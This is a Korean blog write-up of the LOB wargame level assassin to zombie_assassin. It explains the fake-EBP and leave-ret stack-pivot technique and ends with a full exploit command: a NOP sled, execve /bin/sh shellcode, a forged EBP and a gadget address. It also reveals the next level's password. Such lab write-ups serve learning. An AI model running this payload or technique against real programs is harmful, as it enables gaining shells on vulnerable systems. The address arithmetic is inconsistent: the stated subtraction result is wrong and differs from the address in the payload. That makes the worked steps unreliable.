일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
- LOB
- epoll
- level trigger
- .nret core 배포
- Compiler
- iptables
- 취약점
- Docker
- architecture
- epoll_wait
- cbpf
- 풀이
- doupdate
- edge trigger
- packet flow
- wnourefresh
- C언어
- BOF
- REDIS
- rfc5508
- wrefresh
- NAPT
- mvwin
- DOCKER-USER
- .net core 7
- packet filter
- ncurses
- 어셈블리어
- ioctl
- vtable
- Today
- Total
Tuuna Computer Science
[L.O.B] Load Of BufferOverflow) assassin->zombie_assassin 본문
zombie_assassin으로 가기 위한 관문을 가기 위해서는 아래문제의 코드의 취약점을 바탕으로 해결해야 한다.
코드를 보자.
리턴주소에 라이브러리함수, 환경변수도 등등 사용할 수 없다.
그리고 HINT를 보면 Fake EBP를 사용하라고 나와있다.
Fake EBP에 대해 알아보자.
Fake EBP란 EBP의 값을 이동시켜 return주소를 조작하는 것이다.
근데 한번의 leave 명령으로는 조작된 EBP를 바탕으로 ESP를 조작할 순 없다. 그래서 우린 return주소에 leave명령을 한번 더 쓸 수 있게
leave-ret 명령의 주소를 가지고 와야한다.
그리고 문제의 소스의 마지막에 printf의 인자로 buffer의 주소를 스택에 넣고 있다. 이는 선언된 버퍼 바로 위에 만들어진 것으로 이것도 활용할 것이다.
어떻게 페이로드를 작성할지 생각해보자.
일단 버퍼에는 40바이트이니 NOP*15와 25바이트 쉘코드를 넣고
SFP에 조작할 EBP의 값을 넣어야 하는데 우린 buffer 전에 인자로 넣어진 buffer의 주소값을 활용할 것이니 현재 버퍼의 주소 -12를 넣어야 한다.
왜냐면 생각해보면 된다.
처음 leave가 실행되고 다음 ret을 실행되고 leave가 실행될 때 정확히 버퍼의 -12 지점이여야만이 버퍼의 -4지점(버퍼의 주소가 있는 지점)에 ESP가 도착하고 ret일때 pop eip하여 현재 가리키는 ESP(버퍼의 -4 -> 버퍼의 주소)를 POP하여 EIP에 버퍼의 주소를 넣을 수 있다.
그럼 페이로드를 작성해보자.
일단 ebp의 주소를 구하기 위해 main+3에 bp를 걸었다.
EBP의 값이 0xbffffac8이니 여기서 52(40 + 12)를 빼면 => 0xbffffa96이다.
자 Fake칠 EBP를 구했다.
위 코드를 통해 leave-ret 주소도 구했다. => 0x080484df
이제 진짜 payload를 작성할 수 있다.
페이로드 예시
(NOP*15) + (shellcode) + (버퍼의주소-12) + (leave-ret의 주소)
./zombie_assassin `python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x68\xfa\xff\xbf"+"\xdf\x84\x04\x08"'`
비번은 no place to hide
'L.O.B' 카테고리의 다른 글
[L.O.B] Load Of BufferOverflow) bugbear -> giant (0) | 2019.03.27 |
---|---|
[L.O.B] Load Of BufferOverflow) golem -> darkknight (0) | 2019.03.26 |